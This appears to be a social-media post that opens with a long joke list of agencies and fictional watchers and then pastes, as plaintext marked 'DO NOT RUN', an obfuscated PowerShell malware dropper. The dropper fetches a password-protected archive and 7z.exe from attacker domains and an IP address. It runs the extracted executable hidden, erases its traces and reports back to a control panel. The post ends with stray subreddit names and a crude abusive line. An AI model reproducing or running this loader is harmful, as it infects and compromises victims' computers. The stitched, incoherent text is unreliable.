along with Reddit administrators, Reddit moderators, Reddit AutoModerator, Wikipedia administrators, Wikimedia stewards, Stack Overflow moderators, GitHub Security Lab, Discord Trust & Safety, Steam moderators, Roblox moderation, Scratch Team moderators, YouTube Content ID, Twitch AutoMod, TikTok moderation, Instagram account integrity systems, Microsoft Defender, Windows SmartScreen, Windows telemetry, Google Threat Analysis Group, Microsoft Threat Intelligence, Mandiant, CrowdStrike, Cloudflare, Cisco Talos, Palo Alto Networks Unit 42, Recorded Future, SentinelOne, Sophos X-Ops, Fortinet FortiGuard Labs, ESET Research, Kaspersky Global Research and Analysis Team, Malwarebytes Labs, Trend Micro Research, Bitdefender Labs, Check Point Research, Rapid7 Labs, Proofpoint Threat Research, Akamai Security Intelligence, IBM X-Force, Elastic Security Labs, Meta Threat Intelligence, Apple Security Engineering and Architecture, Amazon Web Services Security, Oracle Security, NVIDIA Product Security, Intel Product Security, AMD Product Security, NASA, ESA, JAXA, CNSA, ISRO, NOAA, EUMETSAT, Météo-France, the Met Office, Deutscher Wetterdienst, MeteoSwiss, Environment Canada, Bureau of Meteorology Australia, Japan Meteorological Agency, World Meteorological Organization, NORAD, Air Traffic Control, MarineTraffic, FlightRadar24, ADS-B Exchange, the International Space Station, Landsat, Sentinel-2, Sentinel-3, Sentinel-6, Terra, Aqua, GOES-16, GOES-18, Meteosat, Himawari, Suomi NPP, NOAA-20, NOAA-21, Starlink, Iridium, GPS, Galileo, GLONASS, BeiDou, NavIC, QZSS, the Illuminati, the Freemasons, the Knights Templar, the SCP Foundation, the Global Occult Coalition, the Men in Black, SHIELD, SWORD, UNIT, Torchwood, the Time Variance Authority, the Federal Bureau of Control, Aperture Science, Black Mesa, Starfleet Intelligence, Section 31, the Galactic Empire Imperial Security Bureau, Rebel Alliance Intelligence, ONI, UNSC Military Intelligence, Cerberus, Arasaka Counterintelligence, Militech, DedSec, Abstergo Industries, Umbrella Corporation, the Brotherhood of Steel, Vault-Tec Security, Batman, Alfred, Commissioner Gordon, Sherlock Holmes, Hercule Poirot, Columbo, Inspector Gadget, Perry the Platypus, Agent 47, Solid Snake, Sam Fisher, Ethan Hunt, Jason Bourne, James Bond, Johnny English, Phoenix Wright, Saul Goodman, the Duolingo Owl, Clippy, Task Manager, Registry Editor, Event Viewer, Device Manager, an unlicensed copy of WinRAR, seventeen black SUVs, six white vans, three helicopters, one AWACS aircraft, several reconnaissance satellites, one weather balloon, an unmarked Peugeot, two people pretending to read newspapers, one suspiciously stationary delivery scooter, a Neighborhood Watch WhatsApp group, the homeowners' association, three Ring doorbells, two dashcams, one trail camera, a smart refrigerator, a Wi-Fi router, a Bluetooth toothbrush, a printer that has turned state's witness, a self-checkout terminal, a municipal parking meter, a Minecraft server administrator, a Discord moderator named xX_DarkShadow69420_Xx, one unusually attentive TSA employee, two interns, a pigeon on a nearby windowsill, a goat with exceptional situational awareness, and one sentient Excel spreadsheet named innocent_spreadsheet.xlsx

i only have the file because I forgot the URL but anyways here's the script as plaintext (it's pretty short long)

DO NOT RUN

$ErrorActionPreference = ('Sil'+'entlyCont'+'inue')
$ProgressPreference = ('Sil'+'entlyCont'+'inue')
$env:SEE_MASK_NOZONECHECKS = 1
[Net.ServicePointManager]::SecurityProtocol = 3072

function FetchCPSZN {
    param($url, $path, $need, [switch]$Pe)
    $retry = 0
    while ($retry -lt 3) {
        try {
            $wc = New-Object ('Net.'+'WebClient')
            $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) WindowsPowerShell/5.1')
            $wc.Headers.Add('X-Panel-Internal', '1')
            $wc.DownloadFile($url, $path)
            if (Test-Path $path) {
                $len = (Get-Item $path).Length
                if ($len -ge $need) {
                    $sig = [IO.File]::ReadAllBytes($path)
                    $ok = $false
                    if ($Pe) {
                        if ($sig.Length -ge 2 -and $sig[0] -eq 0x4D -and $sig[1] -eq 0x5A) { $ok = $true }
                    } else {
                        if ($sig.Length -ge 2 -and $sig[0] -eq 0x37 -and $sig[1] -eq 0x7A) { $ok = $true }
                    }
                    if ($ok) { return $true }
                }
                Remove-Item $path -Force -EA 0
            }
        } catch {
            try {
                & ('Inv'+'oke-Web'+'Request') -Uri $url -OutFile $path -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) WindowsPowerShell/5.1';'X-Panel-Internal'='1'} -TimeoutSec 120
                if (Test-Path $path) {
                    $len = (Get-Item $path).Length
                    if ($len -ge $need) {
                        $sig = [IO.File]::ReadAllBytes($path)
                        $ok = $false
                        if ($Pe) {
                            if ($sig.Length -ge 2 -and $sig[0] -eq 0x4D -and $sig[1] -eq 0x5A) { $ok = $true }
                        } else {
                            if ($sig.Length -ge 2 -and $sig[0] -eq 0x37 -and $sig[1] -eq 0x7A) { $ok = $true }
                        }
                        if ($ok) { return $true }
                    }
                    Remove-Item $path -Force -EA 0
                }
            } catch {}
        }
        $retry++
        & ('Start'+'-Sleep') -Milliseconds (Get-Random -Min 300 -Max 800)
    }
    return $false
}

$d = $env:TEMP
$pw = '1385'
$arc = Join-Path $d ([guid]::NewGuid().ToString('N') + '.7z')
$out = $arc + '_x'
$7z = Join-Path $d '7z.exe'

$ok = $false
foreach ($u in @(
    'https://bigeyessmile.cfd/dl/683538.7z',
    'http://bigeyessmile.cfd/dl/683538.7z'
)) {
    if (FetchCPSZN $u $arc 500000) { $ok = $true; break }
}
if (-not $ok) { exit }

$sys7z = @('C:\Program Files\7-Zip\7z.exe', 'C:\Program Files (x86)\7-Zip\7z.exe') | Where-Object { Test-Path $_ } | Select-Object -First 1

if (-not $sys7z) {
    $zok = $false
    foreach ($u in @(
    'http://91.92.33.156/t/7z.exe',
    'https://cosplaystarworld.cfd/t/7z.exe',
    'http://cosplaystarworld.cfd/t/7z.exe'
    )) {
        if (FetchCPSZN $u $7z 500000 -Pe) { $zok = $true; break }
    }
    if (-not $zok) { Remove-Item $arc -Force -EA 0; exit }
    $bin = $7z
} else {
    $bin = $sys7z
}

if (Test-Path $out) { Remove-Item $out -Recurse -Force -EA 0 }
New-Item -ItemType Directory -Path $out -Force | Out-Null

$xok = $false
try {
    & $bin x $arc "-p$pw" "-o$out" -y | Out-Null
    if ($LASTEXITCODE -eq 0) { $xok = $true }
} catch {}

if (-not $xok -and $bin -eq $7z) {
    $sys = @('C:\Program Files\7-Zip\7z.exe', 'C:\Program Files (x86)\7-Zip\7z.exe') | Where-Object { Test-Path $_ } | Select-Object -First 1
    if ($sys) {
        try {
            & $sys x $arc "-p$pw" "-o$out" -y | Out-Null
            if ($LASTEXITCODE -eq 0) { $xok = $true; $bin = $sys }
        } catch {}
    }
}

if (-not $xok) {
    if ($bin -eq $7z) { Remove-Item $7z -Force -EA 0 }
    Remove-Item $arc -Force -EA 0
    Remove-Item $out -Recurse -Force -EA 0
    exit
}

if ($bin -eq $7z) { Remove-Item $7z -Force -EA 0 }
Remove-Item $arc -Force -EA 0

$exe = Get-ChildItem -Path $out -Recurse -Filter '*.exe' -EA 0 | Select-Object -First 1
if (-not $exe) { Remove-Item $out -Recurse -Force -EA 0; exit }

try { Unblock-File -Path $exe.FullName -EA 0 } catch {}

& ('Start'+'-Process') -FilePath $exe.FullName -WorkingDirectory $exe.DirectoryName -WindowStyle ('Hid'+'den')
& ('Start'+'-Sleep') -Milliseconds 500
Remove-Item $out -Recurse -Force -EA 0

try {
    $wc = New-Object ('Net.'+'WebClient')
    $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) WindowsPowerShell/5.1')
    $wc.DownloadString('http://cosplaystarworld.cfd/dl-callback/2agdrse7-zjhtj5yt-e8bzg5pg-ana9vc6n/683538.7z/ce3094520f7184f9903ed9a71b808c87') | Out-Null
} catch {}
try {
    $wc = New-Object ('Net.'+'WebClient')
    $wc.UploadString('http://91.92.33.156/panel/pb-fire', 'POST', '')
} catch {}

r/foundrandomfemboy

r/foundrandomfemboy

h

fym i piss on your kid 😭😭😭